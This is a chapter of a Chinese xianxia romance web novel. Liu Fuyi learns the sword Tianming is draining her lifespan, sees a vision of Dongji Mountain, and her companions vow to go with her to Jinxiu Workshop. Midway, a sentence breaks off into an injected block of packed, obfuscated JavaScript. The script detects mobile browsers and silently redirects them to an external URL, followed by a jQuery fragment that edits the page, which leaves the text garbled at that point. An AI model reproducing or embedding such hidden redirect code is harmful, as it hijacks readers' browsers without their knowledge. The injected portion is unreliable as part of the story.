回春派之行约莫就要结束了。
顾元香看着黯然伤怀的沈听寒,垂头丧气地跟着阮长风玄易走出他的房间。
“你这个表情,我怎么觉得这么……不怀好意?”阮长风瞥见顾元香飞舞的两条眉毛,合上了沈听寒的房门。
顾元香适时答道:“我觉得他俩也就是被什么责任啊道义啊绊住了,但我听皓月师父说,伏意姐本来就不相信无情道啊。”
她不必往下多说,精明的和尚已经明白她的意思。玄易刮了刮下巴略作思考,便由着她去了,提点道:“你去找她聊天谈心也好,注意分寸便是了。”
顾元香点点头,她满心想着相思树下,沈听寒举着那张姻缘牌的模样,脑海里排布了数十种说法劝服柳伏意。
然而她自认为灵活的嘴皮子在她一把推开柳伏意的房门时瞬间变得重如千斤。
柳伏意正踩着天命剑,身前一滩新鲜猩红的血液。
顾元香眼睛瞪的滚圆,立刻扶住她胳膊问:“师姐你吐血了?为什么?”
闻言,方转过身的二人同时从屋外跨进屋内,嘴里带着同样的问句,杵在柳伏意面前,三脸急切,盼她个答案。
柳伏意不言,她眼里的怒意尚且没有平息。顾元香便只能吞了吞口水,将天命剑拾起来。
她递给柳伏意,而柳伏意不接。
“怎么了?”
柳伏意转身坐在榻上,顺手倒了一杯茶水喝下去,冲淡嘴里浓烈的血腥味。几种说辞在她嘴里过了几番,似乎都各有弊病。
片刻过后,她才道:“我……身体不太好。”
一语即出,三人同时鸦雀无声。
顾元香终于明白柳伏意为何摔剑,她随手将剑扔在一旁,重剑撞得满桌茶杯叮当作响,进而跨一步坐在柳伏意身边,柔声问:“是因为拿了剑吗?”
阮长风和玄易只盯着她的表情,希望从那么点细微的痛苦愤恨里找到一点蛛丝马迹。
“或许吧。”柳伏意笑了笑,她此刻心如死灰,连唇色都暗淡下去,“天命曾经说,只要我能够斩孽缘攒功德,我不但不会早死,反而还有可能长生。”
她勾唇一笑,无比苍凉。
柳伏意看着顾元香,微微叹了一口气,所有心里话又被她尽数咽下。
她一点都不想做什么天命之女,也不想天赋异禀,承担这么多人的希冀也背负这么多责任。
连喜欢这一件事,她都不得不回避。
四下静谧,在三人关切心疼的目光之下,柳伏意骤然明白了自己的感情。
她就是喜欢沈听寒的啊。
她从小到大靠近他,包容他,跟他得寸进尺,永远不担心他会离她而去,这似乎早就超越了师兄妹的范畴。
柳伏意思绪越深,识海深处与灵台之上传来的震感就愈发强烈。
脑中回荡着的男女之声瞬间只剩下男声的歇斯底里。
金色的法则碎片不断从《天命剑使用指南》的白纸黑字上跳脱而出,拼凑成一个又一个她看不懂的咒术。
同样的套路,却是不同的效果。
柳伏意眼前忽然发黑,直愣愣地栽倒下去。
她的肉身自此没有意识,而再睁开眼,云山雾绕,沧海之巅,一处熟悉又陌生的山川绘卷自眼前铺展而开。
这番景象她也并非不曾见过,这眼前孤立高耸的便是梦中那处失落的神山,东极山。
柳伏意试着往前摸索,神山的风雪刮骨极寒,每一步都仿佛是真的身临其境。
男声的指引仍在继续,并不苍老,反而情绪饱满,像是酝酿了千万年后,重见故人的欣喜若狂。
柳伏意一路爬至山巅,低头伸手拨云见日,鸟瞰而去沧海无涯,而只在她身旁半尺之地,立着一座硕大无朋的石碑。
所谓硕大,非人力所能及,而这石碑上无字无名,却隐隐透着冲天的恨意。
下一瞬,石碑之上强烈的灵力冲破而出,冥冥之中硬是打中了柳伏意这团飘渺的魂灵,将她剥离于东极山之外。
凝结的阴郁掠过她全身,紧接着石碑之中天命剑灵脱碑而出,面带慈祥温柔的浅笑。
柳伏意挣扎着,只见剑灵与石碑同样高大,祂俯身捧起柳伏意,轻柔地吹拂她,弥补她身上的伤口。
祂说:“伏意,不要听他的,回去吧,我很快会回到你身边。”
柳伏意丝毫感觉不到剑灵的恶意,仿佛这妄图将人撕碎的恨都只来自那座石碑。
而剑灵不过是镇守厉鬼坟墓的守墓人。
思及此处,柳伏意才注意到,石碑中的剑灵也只有女声。识海中的男声与这道女声混合在一起,就是她往常听过的,剑灵天命的声音。
“我二十岁会死,是真的吗?”
剑灵柔和的微笑肉眼可见地顿了半刻,随即高深地微叹口气,安慰她说:“生生死死,谁又说的准呢?花落成泥,花也并未消失啊,只是换一种方式存在罢了。”
“这里是东极山?东极山真的存在?”柳伏意起身,有天命在旁陪伴,她一点儿都听不到识海中那道仿若催命的男声。
天命几乎有问必答:“是,可你找不到这个地方,时机未到,任何人都无法解开东极山的封印。”
“还要等到什么时候?”
天命轻柔地抚着她的长发,金色的碎片如同灵蝶围绕着柳伏意身边盘旋飞舞。
天命娓娓而谈:“一如这些金色的法则碎片,碎片集齐,才能将你的神识带来与我相见。你要进入东极山,还差三块碎片。”
柳伏意转了转眼,问道:“和九命狐和缠心藤一样?还差三个?”
“嗯。”天命回眸望了一眼震动的石碑,眼波之中流淌着挥不去的伤怀。祂重新看着柳伏意略显稚嫩的眉眼,无奈地浮出一抹浅浅的笑。
“伏意,别听任何人的话。”
“回去吧。”
女声寥落,灵台在天命的帮助下重又稳定,以至于柳伏意能够感应出下一块碎片的位置。
脑海中修界五洲四海的舆图铺展开来,唯有一处泛着金色夺目的光泽。
锦绣坊。
等柳伏意醒来,沈听寒等人已经全都守在她身边。沈听寒似乎是回光返照一般,收拾好了身上的各处伤口,面色也不如方才惨白。
他捏着她的脉,不知费了多少的灵力替她检查身子。
“师姐!你醒啦!”顾元香呜咽着,抱着她的一只胳膊泪如雨下,嘴里不住地念叨着,“怎么会突然就又吐血又晕倒呢,沈听寒说你也没中毒啊……”
柳伏意的目光顺着自己腕上那节手指往上看去,最终落在沈听寒脸上,将他脸上的恍然和心疼都收归眼底。
阮长风轻轻拍了拍沈听寒的肩,小声问道:“你可看出来哪里出问题了?难道是因为天命毁剑,影响伏意了?还是……”
阮长风像突然咬了舌头噤默不言,玄易呵呵一笑,看热闹不嫌事儿大,将他吞了的后半句给补上:“还是因为师姐动心了,无情道毁了?”
沈听寒无视他们的揶揄,语调是前所未有的严肃:“身体已经痊愈了。唯一的可能……”
他直勾勾地盯着柳伏意的双眼,字字句句斩钉截铁:“是阳寿的问题。”
闻言,三人不由“啊?”了一声,阮长风忍不住上手量
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336379|178619||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一下沈听寒的体温:“没发烧啊,那你疯了吧?虽然我等修仙,但也就是凡夫俗子,阳寿这种东西怎么可能真的有?”
玄易点点头:“你们医修都精进到这个程度了?那为什么李广白还没长生不死。”
沈听寒毫不理会他二人,只拉着柳伏意的手,柔声问她:“我说的,对与不对?”
话音甫落,其余三人一样,心若擂鼓,等待着柳伏意的答案。
她叹了口气,瞒来瞒去她也累了,这副残躯估摸着也遭不了什么天谴,便开口说:“对,到了二十岁就会死。”
顾元香冷不丁倒抽一口凉气,好像有什么东西在她心里崩塌。
柳伏意现如今,很快就要到二十岁了,不过是两三个月的光景了吧。
“你怎么猜出是阳寿的问题?”
沈听寒默了默,道:“黄泉剑主苏墨言,死时由药师谷的谷主验尸,并且记录在案。她没有伤,反而身体各处比许多人都要健康,死的就像睡着了。当年的谷主便提出阳寿不足的概念,借此肯定修界人间之外,确有神明所在。”
柳伏意点点头,思来想去症结还是在天命剑上,于是顶着四人好奇探究的询问,终究是把所谓的孽缘主线说了个大致。
“补齐剩下的三块碎片,我就能到东极山,问清楚一切。”柳伏意自言自语道。
可谁也不知道这二十岁的死劫,究竟会在除妖的路上,还是在最终解开谜底的东极神山之上。
顾元香扯了扯她的衣袖:“师姐,我陪你一起去吧。出了回春派后,你打算去哪?”
柳伏意没有答话,凭借对那些法则碎片的印象,似乎领悟了天命剑谱之中某几页的鬼画符。
她抬手按在沈听寒胳膊上,无垠温和的灵力涌进他体内。
伤口迅速愈合,面色也极速回暖,淡青的灵力消弭他无论是□□还是灵魂上的一切伤痛。
沈听寒只蹙了蹙眉,道:“你的力量,不太对。”
阮长风叉着腰,问:“哪里不对?”
“和方才她给我疗愈的灵力相比,此时此刻的力量更多的是天然为她而生的感觉。”沈听寒顿了顿,“她用了这么多灵力,而灵台毫无波动。”
顾元香见柳伏意和沈听寒已经有了眉目,长嚎一声道:“喂喂喂不要打哑迷了!到底咋个事儿?”
柳伏意轻轻捏了捏她的脸颊,接下去道:“灵力是修士后天修炼而成的,而天命给我的力量是与生俱来。”
“也就是不会枯竭,并且至纯至强,是属于天道的力量。”阮长风看着顾元香的表情便知她还一知半解,故而进一步补充半句。
柳伏意低了低眉,几人又同时语塞。
难道正是因为这不容置疑的强大,才会不断耗损她的阳寿吗?
顾元香轻轻捏了捏她的手:“就算如你所说,我们都只剩下一年不到的时间和你相处,是不是也应该问问我们的意见?”
她声音略微颤抖,继续道:“不要觉得是为了我好,就抛下我一个人上路。你自己走了,孤孤单单的那么可怜,我也不会好的。”
柳伏意眸光微动,未及去哄,便听得阮长风说:“就是啊,大师兄几十年前就死过一回了,没啥了不起的。我才不会因为怕死让你一个人走呢,那大半夜想起来不得甩自己俩大耳刮子。”
沈听寒自是不用发声,玄易行了个佛礼:“再说,但行好事,莫问前程。能救那么多条人命,机会也难得,让我们陪着你吧。”
柳伏意的目光在几人熟悉的面孔上流转而过,终于启唇:“下一处碎片在锦绣坊,修整一日再起身吧。”
“好~!”